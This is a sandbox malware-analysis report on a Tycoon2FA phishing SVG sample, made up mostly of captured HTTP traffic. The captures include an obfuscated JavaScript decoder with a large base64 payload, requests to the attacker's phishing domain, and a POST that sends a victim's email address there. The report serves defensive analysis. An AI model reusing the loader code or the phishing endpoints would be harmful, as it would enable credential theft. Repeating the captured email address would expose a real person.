2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 32 37 64 35 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 78 53 55 45 63 6b 45 56 6e 61 28 68 46 76 4e 6f 70 78 78 4b 79 2c 20 58 68 63 59 73 4b 62 6f 43 52 29 20 7b 0d 0a 6c 65 74 20 43 70 6e 71 4e 53 54 78 66 43 20 3d 20 27 27 3b 0d 0a 68 46 76 4e 6f 70 78 78 4b 79 20 3d 20 61 74 6f 62 28 68 46 76 4e 6f 70 78 78 4b 79 29 3b 0d 0a 6c 65 74 20 46 6d 50 43 4d 63 6c 54 68 5a 20 3d 20 58 68 63 59 73 4b 62 6f 43 52 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 68 46 76 4e 6f 70 78 78 4b 79 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 43 70 6e 71 4e 53 54 78 66 43 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 68 46 76 4e 6f 70 78 78 4b 79 2e 63 68 61 72 43 Data Ascii: 27d5<script>function xSUEckEVna(hFvNopxxKy, XhcYsKboCR) {let CpnqNSTxfC = '';hFvNopxxKy = atob(hFvNopxxKy);let FmPCMclThZ = XhcYsKboCR.length;for (let i = 0; i < hFvNopxxKy.length; i++) { CpnqNSTxfC += String.fromCharCode(hFvNopxxKy.charC
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 46 50 52 67 50 48 79 67 64 43 77 31 2f 44 52 63 4e 4c 42 4e 39 45 54 4d 64 49 41 5a 79 4d 77 4d 69 4e 68 30 55 45 6a 30 65 41 77 34 6e 46 52 6f 33 4e 52 30 4a 41 6e 49 7a 44 79 6c 38 4d 41 74 33 50 52 4d 56 46 53 77 35 44 44 67 6b 44 67 30 57 49 7a 4d 49 4d 53 67 77 41 41 56 35 48 67 4d 30 65 78 4d 69 44 6e 55 4f 42 67 55 39 48 68 77 6c 50 44 41 4c 43 53 45 32 45 79 42 37 50 79 59 37 63 79 51 67 41 53 67 32 43 44 49 39 49 78 73 72 43 6a 56 32 4b 43 63 2f 4a 6a 68 77 43 51 30 56 66 54 59 4b 51 41 51 77 41 41 59 70 48 67 63 37 4c 44 6b 4d 4f 43 51 4f 44 52 59 6a 48 7a 49 79 4a 52 30 4c 44 54 30 59 4c 54 68 37 45 79 45 76 4c 77 73 4e 46 54 34 62 44 42 77 69 48 51 63 6f 4b 54 4d 4d 4d 48 6f 71 48 41 34 6b 4a 6e 77 42 63 53 74 35 53 53 51 6a 46 79 67 70 47 54 Data Ascii: FPRgPHygdCw1/DRcNLBN9ETMdIAZyMwMiNh0UEj0eAw4nFRo3NR0JAnIzDyl8MAt3PRMVFSw5DDgkDg0WIzMIMSgwAAV5HgM0exMiDnUOBgU9HhwlPDALCSE2EyB7PyY7cyQgASg2CDI9IxsrCjV2KCc/JjhwCQ0VfTYKQAQwAAYpHgc7LDkMOCQODRYjHzIyJR0LDT0YLTh7EyEvLwsNFT4bDBwiHQcoKTMMMHoqHA4kJnwBcSt5SSQjFygpGT
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 43 77 6b 69 47 44 4e 4b 41 44 6b 4d 4f 43 51 4f 42 6d 63 4b 4f 53 56 41 50 7a 59 30 64 77 55 4e 41 30 4d 68 46 42 68 49 4c 79 55 67 42 6a 45 6a 48 43 49 6b 4b 78 73 64 49 6a 55 71 4b 41 59 52 46 7a 64 7a 48 52 6c 69 4b 42 6b 69 46 79 45 67 63 58 34 37 4d 77 4d 73 66 78 51 49 53 43 38 6c 49 41 49 71 4e 67 67 79 49 68 30 55 63 69 51 7a 41 78 59 39 45 69 59 52 4c 79 4d 6a 41 54 45 65 43 42 73 6f 48 44 52 33 42 52 34 48 4f 79 77 35 43 43 39 78 48 52 6c 69 64 44 59 6c 4d 6a 59 6a 47 78 30 69 4e 53 6f 6f 44 69 6f 59 49 79 73 6a 47 53 39 30 4d 51 67 62 65 44 30 53 4b 43 6b 65 42 7a 73 73 45 79 49 76 63 79 4d 57 48 54 45 7a 44 43 6f 6e 47 77 73 4a 49 68 67 7a 53 67 41 57 48 42 4a 30 41 78 38 6e 44 43 35 36 50 6e 34 71 63 44 63 65 41 41 46 50 4f 44 6b 4c 53 53 51 Data Ascii: CwkiGDNKADkMOCQOBmcKOSVAPzY0dwUNA0MhFBhILyUgBjEjHCIkKxsdIjUqKAYRFzdzHRliKBkiFyEgcX47MwMsfxQISC8lIAIqNggyIh0UciQzAxY9EiYRLyMjATEeCBsoHDR3BR4HOyw5CC9xHRlidDYlMjYjGx0iNSooDioYIysjGS90MQgbeD0SKCkeBzssEyIvcyMWHTEzDConGwsJIhgzSgAWHBJ0Ax8nDC56Pn4qcDceAAFPODkLSSQ
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 7a 77 58 48 54 4d 64 42 67 55 72 4e 67 67 79 50 78 73 75 4b 33 34 32 45 7a 77 34 50 42 63 33 4b 52 34 5a 4c 79 67 71 48 7a 55 36 4e 41 41 4f 5a 52 51 74 4f 79 77 35 44 44 68 37 49 77 6b 37 64 42 67 4d 4a 57 51 74 63 52 30 6a 4e 68 4d 30 4a 7a 6b 4c 4e 48 45 4a 48 52 55 42 47 48 6b 2b 66 68 73 55 45 54 73 7a 41 7a 78 37 45 52 68 41 4e 68 63 4e 62 6e 51 62 45 79 49 38 49 78 64 7a 42 52 34 48 4f 79 77 35 43 77 45 35 49 77 59 37 4e 79 41 66 52 41 51 77 41 41 59 70 48 67 63 37 4c 44 6b 4d 4f 79 6f 6c 66 41 56 78 4d 77 4d 44 42 44 41 41 42 69 6b 65 42 7a 73 73 4f 51 77 34 4a 41 34 4e 46 69 4d 67 4a 6b 6b 36 48 51 42 32 49 77 34 54 53 7a 73 53 42 78 4a 31 44 67 73 52 50 52 73 63 4e 6a 77 31 41 41 55 30 44 68 4e 50 4d 54 77 58 4e 79 38 6b 49 7a 73 70 4e 54 77 66 Data Ascii: zwXHTMdBgUrNggyPxsuK342Ezw4PBc3KR4ZLygqHzU6NAAOZRQtOyw5DDh7Iwk7dBgMJWQtcR0jNhM0JzkLNHEJHRUBGHk+fhsUETszAzx7ERhANhcNbnQbEyI8IxdzBR4HOyw5CwE5IwY7NyAfRAQwAAYpHgc7LDkMOyolfAVxMwMDBDAABikeBzssOQw4JA4NFiMgJkk6HQB2Iw4TSzsSBxJ1DgsRPRscNjw1AAU0DhNPMTwXNy8kIzspNTwf
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 41 79 47 51 39 45 42 44 6f 71 42 69 6b 65 42 7a 74 7a 45 51 73 77 61 42 52 38 41 58 45 7a 44 69 6f 6a 49 42 73 56 66 7a 51 70 4c 44 45 67 44 45 41 73 43 69 52 6a 44 7a 4d 49 4d 53 67 77 42 7a 39 2f 4e 51 42 4f 41 44 6b 4d 4f 43 51 4f 44 52 59 6a 4d 77 67 78 64 78 73 45 4c 47 55 48 44 44 52 37 45 79 4a 41 4e 68 30 30 59 67 6f 62 48 44 34 32 47 33 41 4a 4f 41 30 71 4b 79 77 6d 66 55 41 36 48 51 30 56 46 42 67 6d 43 44 38 62 4c 68 4a 34 42 77 64 44 4d 52 51 48 4d 7a 55 6c 49 7a 52 76 4d 77 34 2b 4e 69 4d 55 41 58 34 4e 46 7a 67 6a 45 69 49 6f 4a 42 30 5a 42 54 51 65 43 44 49 6b 47 33 45 4a 66 7a 55 54 4c 44 34 55 42 7a 51 6b 4a 68 6c 6a 49 78 6b 6d 4a 69 63 62 41 48 5a 2b 4e 68 4e 4c 4a 7a 77 6c 44 6a 55 6c 43 54 78 76 4f 53 49 78 4b 44 41 41 42 69 6b 65 42 Data Ascii: AyGQ9EBDoqBikeBztzEQswaBR8AXEzDiojIBsVfzQpLDEgDEAsCiRjDzMIMSgwBz9/NQBOADkMOCQODRYjMwgxdxsELGUHDDR7EyJANh00YgobHD42G3AJOA0qKywmfUA6HQ0VFBgmCD8bLhJ4BwdDMRQHMzUlIzRvMw4+NiMUAX4NFzgjEiIoJB0ZBTQeCDIkG3EJfzUTLD4UBzQkJhljIxkmJicbAHZ+NhNLJzwlDjUlCTxvOSIxKDAABikeB
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 6b 4b 41 55 65 42 7a 73 73 4f 51 73 42 4c 41 6f 6b 59 68 41 65 45 7a 49 34 47 33 41 4e 66 67 63 48 51 79 51 39 4a 55 30 49 44 67 30 57 49 7a 4d 50 43 44 67 70 4b 42 30 34 4e 43 30 34 49 79 6f 49 4b 7a 4d 6a 43 54 73 79 47 43 59 32 50 44 41 45 4c 79 49 31 44 44 73 34 4f 51 63 6a 4d 79 52 38 4f 33 51 7a 41 79 49 67 49 78 41 47 64 67 34 58 4f 43 51 54 49 69 38 75 46 78 30 64 4b 78 34 44 49 6a 67 61 4f 53 67 34 47 33 63 30 65 68 4d 48 4f 7a 55 6b 49 41 59 78 47 42 77 63 4a 52 6f 75 66 6a 51 31 64 69 42 37 50 43 49 33 4e 53 55 64 62 69 67 59 49 6b 46 2b 47 6a 70 2b 4f 41 30 70 49 44 73 70 66 53 77 71 44 67 59 46 4c 42 6b 6d 46 43 4d 64 42 33 63 6e 44 33 59 77 4f 43 6b 59 54 44 45 4f 4a 47 49 55 49 43 59 71 50 79 42 78 45 69 6b 61 50 69 4e 36 4f 51 6b 33 63 69 Data Ascii: kKAUeBzssOQsBLAokYhAeEzI4G3ANfgcHQyQ9JU0IDg0WIzMPCDgpKB04NC04IyoIKzMjCTsyGCY2PDAELyI1DDs4OQcjMyR8O3QzAyIgIxAGdg4XOCQTIi8uFx0dKx4DIjgaOSg4G3c0ehMHOzUkIAYxGBwcJRoufjQ1diB7PCI3NSUdbigYIkF+Gjp+OA0pIDspfSwqDgYFLBkmFCMdB3cnD3YwOCkYTDEOJGIUICYqPyBxEikaPiN6OQk3ci
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 56 58 67 37 62 43 42 69 64 32 4e 64 59 6c 34 39 48 44 4d 72 4c 7a 51 68 55 6d 52 56 65 44 31 73 49 47 4a 33 59 31 31 69 53 30 4a 7a 59 32 64 75 64 32 52 61 61 31 41 62 46 6a 41 72 4f 52 59 56 46 51 6f 53 62 30 52 6a 5a 57 78 73 53 58 42 72 55 47 39 5a 59 32 64 75 64 7a 49 59 4d 68 6b 56 45 69 67 4c 4e 42 78 6b 52 32 74 53 62 55 4a 4f 54 57 35 33 5a 46 6f 32 66 55 56 5a 59 32 64 75 50 69 4a 61 59 77 63 6d 46 79 63 6f 4f 58 6b 6f 46 53 67 52 4f 78 41 73 4b 57 41 2f 4e 68 38 74 58 69 59 58 49 43 73 37 4d 79 45 4a 59 31 64 72 58 6d 70 75 62 69 78 4a 63 47 74 51 62 31 6c 6a 5a 32 35 33 4c 78 45 6c 4f 78 67 79 44 54 59 74 42 57 52 48 61 31 49 59 4b 47 46 73 4f 54 34 71 48 69 51 48 59 52 55 73 4a 43 38 6a 4c 52 55 6c 58 69 63 4c 4a 69 46 67 4a 44 51 57 49 67 52 Data Ascii: VXg7bCBid2NdYl49HDMrLzQhUmRVeD1sIGJ3Y11iS0JzY2dud2Raa1AbFjArORYVFQoSb0RjZWxsSXBrUG9ZY2dudzIYMhkVEigLNBxkR2tSbUJOTW53ZFo2fUVZY2duPiJaYwcmFycoOXkoFSgROxAsKWA/Nh8tXiYXICs7MyEJY1drXmpubixJcGtQb1ljZ253LxElOxgyDTYtBWRHa1IYKGFsOT4qHiQHYRUsJC8jLRUlXicLJiFgJDQWIgR
2025-03-18 08:10:38 UTC	622	IN	Data Raw: 51 38 53 49 67 49 68 45 47 70 75 62 6d 70 35 57 67 4d 66 47 6a 73 49 4c 79 63 6c 4b 68 4e 77 66 55 56 5a 59 32 64 75 4b 6d 51 5a 4b 67 51 73 45 57 4e 76 4b 79 55 32 55 32 73 4c 51 6e 4e 6a 5a 32 35 33 5a 46 70 72 55 44 30 63 4e 7a 49 38 4f 57 51 63 4b 68 77 38 48 48 68 4b 52 48 64 6b 57 6d 73 4e 51 6e 4d 2b 53 6b 51 2b 49 6c 49 67 47 79 45 79 46 41 77 41 4a 69 63 6f 61 30 31 79 57 57 46 6c 5a 79 78 4a 63 47 74 51 62 31 6b 55 45 41 59 48 4c 53 73 34 4e 44 38 59 61 32 56 78 64 57 52 52 61 79 51 67 43 69 38 77 44 77 59 72 4f 79 6c 5a 64 48 52 4a 4f 6b 4e 64 4c 52 78 6a 47 79 51 58 43 42 41 46 47 54 55 5a 47 56 42 75 52 48 35 6e 62 48 56 74 41 55 5a 36 62 31 6c 6a 5a 79 63 78 5a 46 49 34 4b 44 38 4c 46 6a 59 34 42 68 41 77 59 78 73 6b 46 77 67 51 42 52 6b 31 Data Ascii: Q8SIgIhEGpubmp5WgMfGjsILyclKhNwfUVZY2duKmQZKgQsEWNvKyU2U2sLQnNjZ253ZFprUD0cNzI8OWQcKhw8HHhKRHdkWmsNQnM+SkQ+IlIgGyEyFAwAJicoa01yWWFlZyxJcGtQb1kUEAYHLSs4ND8Ya2VxdWRRayQgCi8wDwYrOylZdHRJOkNdLRxjGyQXCBAFGTUZGVBuRH5nbHVtAUZ6b1ljZycxZFI4KD8LFjY4BhAwYxskFwgQBRk1
2025-03-18 08:10:38 UTC	1369	IN	Data Raw: 31 61 63 33 0d 0a 56 63 7a 4a 6a 6f 2f 4b 68 73 6d 46 57 5a 51 4f 45 70 45 64 32 52 61 61 77 63 6d 46 79 63 6f 4f 58 6b 6f 46 53 67 52 4f 78 41 73 4b 57 41 6c 49 51 6f 6e 45 53 77 63 61 7a 41 6e 4f 53 41 56 50 46 34 6a 46 69 41 6d 4f 6a 34 72 46 47 55 41 4c 67 30 72 4b 53 38 36 49 56 51 35 46 54 38 56 49 69 51 72 66 32 74 66 65 55 4e 67 48 6d 39 6e 61 58 52 6a 55 32 55 43 4b 67 6b 76 4a 69 30 79 62 46 56 75 51 77 6c 57 4a 47 74 75 63 48 74 64 59 6c 34 39 48 44 4d 72 4c 7a 51 68 55 6d 52 56 65 44 74 73 49 47 4a 33 59 77 46 73 57 57 45 4c 4a 6a 63 69 4e 69 63 66 59 31 39 71 54 67 64 6f 4b 58 74 6b 58 54 5a 58 5a 6c 42 34 53 6b 52 33 5a 46 70 72 44 55 4a 7a 59 32 64 75 64 79 30 63 59 78 4d 71 44 68 55 46 43 54 38 47 4e 67 42 51 63 6b 52 6a 4b 54 73 37 4b 46 Data Ascii: 1ac3VczJjo/KhsmFWZQOEpEd2RaawcmFycoOXkoFSgROxAsKWAlIQonESwcazAnOSAVPF4jFiAmOj4rFGUALg0rKS86IVQ5FT8VIiQrf2tfeUNgHm9naXRjU2UCKgkvJi0ybFVuQwlWJGtucHtdYl49HDMrLzQhUmRVeDtsIGJ3YwFsWWELJjciNicfY19qTgdoKXtkXTZXZlB4SkR3ZFprDUJzY2dudy0cYxMqDhUFCT8GNgBQckRjKTs7KF

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:38 UTC	1147	OUT	GET /nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5 HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImJEVklEK0FYTUc2cndWYXV3dVZPVWc9PSIsInZhbHVlIjoiaTVMdjhyZkFxcVk0NkNDamFLbFB4bWdxSkhyUkNrSm1jMWdSYTA1ankzRVFsVSt2M1REUzVLRXlONllFNVRKNFFEcVlVQWwzd0FmWklnT3E4Tkx4UkdXRVhzTVhxeHBwQllCd3VPOEhoSUxsZnhpeit5bnJRQlJmRFZRRXRVV1MiLCJtYWMiOiI3NDBkYWU3M2FhMjJlZmY1MjE5ODU4YjUzZDJhYTJiNWQ4ODk3YmUzNjY0NmEyZWM1NzdhNTk0MDU1YzhiMTI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im9kVUpCOGlzZkVWY0hiWEc3aWcxb2c9PSIsInZhbHVlIjoiMDlBN29NUzVUTERPUjI5TTN2RjVjUFJTYlk3aWU1NU12U0k5bTFiZ0hpRFVSRE9JbGdya2hWb0EzZWNmZjVhSTNLMjBSVURvQjZyTzR6QWI2V3VzVGNrZmNra2NRNTZCYW4zT2NXM3ZSS3VMUnVLMEx3UXAyaUQxTkFSc2tnTCsiLCJtYWMiOiI1NWJhM2FmMzkyZGVhZDRlM2E0NGFmZDE2MTM1YWFlYjgyYzVjNTVmNTA5ZGQ0Y2UwYzZkNzhmOWFhZTY5Y2E4IiwidGFnIjoiIn0%3D
2025-03-18 08:10:38 UTC	1019	IN	HTTP/1.1 404 Not Found Date: Tue, 18 Mar 2025 08:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vue0I0aNVHPA3jsV4mJWyoguMY3rZgaRMrdPPVBMaJAa8JU2BVpcR%2B7hLeGx3eWCpfexPZ33P5r9HakWrYpki8u0YwBVm7D0dvzR9RxiUJS3b6GH6lxgQaWyw%2Fna"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1165&min_rtt=1157&rtt_var=339&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2058&delivery_rate=2427493&cwnd=251&unsent_bytes=0&cid=81feaf90c70c26ab&ts=88&x=0" Server: cloudflare CF-RAY: 9223413458b59867-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2029&min_rtt=2026&rtt_var=767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1719&delivery_rate=1419543&cwnd=224&unsent_bytes=0&cid=fce62060a3671527&ts=412&x=0"
2025-03-18 08:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:38 UTC	1469	OUT	POST /kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy HTTP/1.1 Host: ruhlamat.brightnexst.ru Connection: keep-alive Content-Length: 27 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ruhlamat.brightnexst.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ruhlamat.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Imgwc1Z3elN2QVRaMGp4TnRNczBhVGc9PSIsInZhbHVlIjoiam9jRW9BYVM3UlEvUG1TTk9tWGh6QVR0UzN6TGsvSmlBcnhSSnpjNEZQOVZWUVg5dWpPd2dCdkZsOEd4cHVhUkFVL2syM0MxMmFkTUV1VkJFUnFtQW1RTWcwK2pkc21QMUZlS21yUUtacERYOHlESFR3aUErUWFwRGtJd3VSdU8iLCJtYWMiOiIwMjdhYmIwYzZkOThiNDhmNjAzMDE5OTE2OTUyMTE5YzIyNWUwNDcwZGMwODcxYTIwYjAwZTRhNjYwOTE5OTFmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhLSEErUFB2UithVWpkZm5qRXVsMnc9PSIsInZhbHVlIjoiQW1IQ2pDTmk0WndRRCs1WHgrdHIxeWVFVXh6dXhiUmRpWWVJekxMaFVscGJjQTJCZ2ZUZ1RFUXJWNkhxdlJUbXZJVWVmMmRXdmZPYkRBczdKbnpqK2ZwQ2p2ZGhwMi9UbGVpSE9nNmlJdlA5SmdTa2I3MjdsMzdEeFN0VWdxRXkiLCJtYWMiOiI4YTljNTUyNjI2YWE2YmM0ZDUxM2I5NDk5MjI5NTk0NTA5YjNmNWU4NTZjMzY5OWJmZjY1MzkwZjk4YWQxYmJhIiwidGFnIjoiIn0%3D
2025-03-18 08:10:38 UTC	27	OUT	Data Raw: 64 61 74 61 3d 51 6e 74 2e 6d 61 63 6b 25 34 30 72 75 68 6c 61 6d 61 74 2e 64 65 Data Ascii: data=Qnt.mack%40ruhlamat.de
2025-03-18 08:10:38 UTC	1223	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dj3LM3RY2H69uJAx0WQ4B%2FOOX%2BQWbyYtjgHRuuoBp1koXoyVEfIJzXo3z2A1%2Fjn8sHFviTL6xxnVm7Zl7YmnY5xw94bTSXxcpYx3ynj5Yb5bHDe3QSaAVbCXtKy0"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1469&rtt_var=464&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2406&delivery_rate=1963389&cwnd=251&unsent_bytes=0&cid=ce014efa4ccb2e5c&ts=78&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjFpQmpYUklyYXdQV2lpaEMzK1BUN1E9PSIsInZhbHVlIjoiaXNFdlc1akMzMHpLa0NiK2xsbHZiaWdzSmVSeHcreGw4WS9jb3lhTld3TnZnQ3NBWjBmZHVxVEJHdTdZd0VGVmp4MFFtUGtFMDlCUWorWVNZOGxMSmZRY0pvbC9lajVYWXZic09ZRHJQbFFtNFlTTVVFdVpnN2Q1Q2Uzb1NiTmgiLCJtYWMiOiI1ZjMxMjFiY2QxYWFjODMxMmFkNWM3Yzc5MjZlMmQ5MDE5NjhkMDc4NjZhNTA4ODliMzQwOGNjYTM1MzBmYzYxIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 18 Mar 2025 10:10:38 GMT
2025-03-18 08:10:38 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 39 58 63 6a 67 77 64 6e 42 6c 59 54 64 72 4b 79 39 68 4b 33 42 56 5a 48 6c 54 4e 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 33 63 30 64 47 56 6b 53 56 4a 36 5a 6e 70 7a 62 7a 56 34 4d 33 5a 44 4d 30 70 43 63 55 70 4b 5a 56 55 30 65 54 5a 42 5a 44 4a 72 56 6e 6c 33 64 32 45 30 56 33 4a 52 4c 79 39 44 52 47 4a 6d 5a 30 59 32 61 57 73 7a 51 57 74 46 57 55 6c 48 51 56 5a 36 64 6c 4a 70 63 6a 4e 4f 61 33 46 72 64 46 4a 4d 52 45 4a 31 64 53 73 34 4f 47 51 34 57 47 39 78 61 6b 68 32 59 6a 4a 72 65 47 68 6d 4e 6e 5a 48 4c 30 34 34 63 7a 64 71 4f 47 31 4b 62 32 56 76 56 48 70 4f 4f 46 55 72 56 47 6c 61 4d 6d 64 4e 59 31 59 77 4e 44 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik9XcjgwdnBlYTdrKy9hK3BVZHlTNFE9PSIsInZhbHVlIjoiZ3c0dGVkSVJ6ZnpzbzV4M3ZDM0pCcUpKZVU0eTZBZDJrVnl3d2E0V3JRLy9DRGJmZ0Y2aWszQWtFWUlHQVZ6dlJpcjNOa3FrdFJMREJ1dSs4OGQ4WG9xakh2YjJreGhmNnZHL044czdqOG1Kb2VvVHpOOFUrVGlaMmdNY1YwNDE
2025-03-18 08:10:38 UTC	318	IN	Data Raw: 31 33 37 0d 0a 7b 22 61 22 3a 22 68 6c 4f 4f 5c 2f 47 4f 71 72 41 34 6b 56 66 37 5a 32 35 69 50 75 5c 2f 36 34 37 65 30 58 66 59 42 7a 38 56 38 35 67 38 55 2b 4e 47 61 64 36 4a 31 31 71 38 55 36 6a 4e 69 30 68 62 6d 4b 58 58 6a 58 62 56 61 6e 43 70 4e 62 44 4d 68 38 62 53 4f 55 78 43 72 71 38 75 49 70 52 32 54 61 31 42 6d 56 62 6a 32 37 78 49 55 64 4d 44 39 52 76 64 78 53 31 34 65 63 58 64 41 77 66 39 58 55 49 48 56 50 56 45 56 55 6d 67 6a 4b 64 56 6d 46 68 6e 58 54 53 71 6c 38 4e 77 3d 3d 22 2c 22 62 22 3a 22 38 66 64 33 34 66 66 38 38 61 64 39 65 38 31 32 35 37 35 32 39 30 34 63 61 31 34 30 36 32 39 32 22 2c 22 63 22 3a 22 30 66 61 35 62 35 34 39 35 35 33 61 61 64 64 66 33 61 65 65 36 39 37 34 64 39 35 65 61 36 36 32 22 2c 22 64 22 3a 22 33 30 33 39 33 Data Ascii: 137{"a":"hlOO\/GOqrA4kVf7Z25iPu\/647e0XfYBz8V85g8U+NGad6J11q8U6jNi0hbmKXXjXbVanCpNbDMh8bSOUxCrq8uIpR2Ta1BmVbj27xIUdMD9RvdxS14ecXdAwf9XUIHVPVEVUmgjKdVmFhnXTSql8Nw==","b":"8fd34ff88ad9e8125752904ca1406292","c":"0fa5b549553aaddf3aee6974d95ea662","d":"30393
2025-03-18 08:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:38 UTC	538	OUT	OPTIONS /report/v4?s=Vue0I0aNVHPA3jsV4mJWyoguMY3rZgaRMrdPPVBMaJAa8JU2BVpcR%2B7hLeGx3eWCpfexPZ33P5r9HakWrYpki8u0YwBVm7D0dvzR9RxiUJS3b6GH6lxgQaWyw%2Fna HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ruhlamat.brightnexst.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:39 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 18 Mar 2025 08:10:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7274442614.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Windows Analysis Report
7274442614.svg

Timestamp	Bytes transferred	Direction	Data
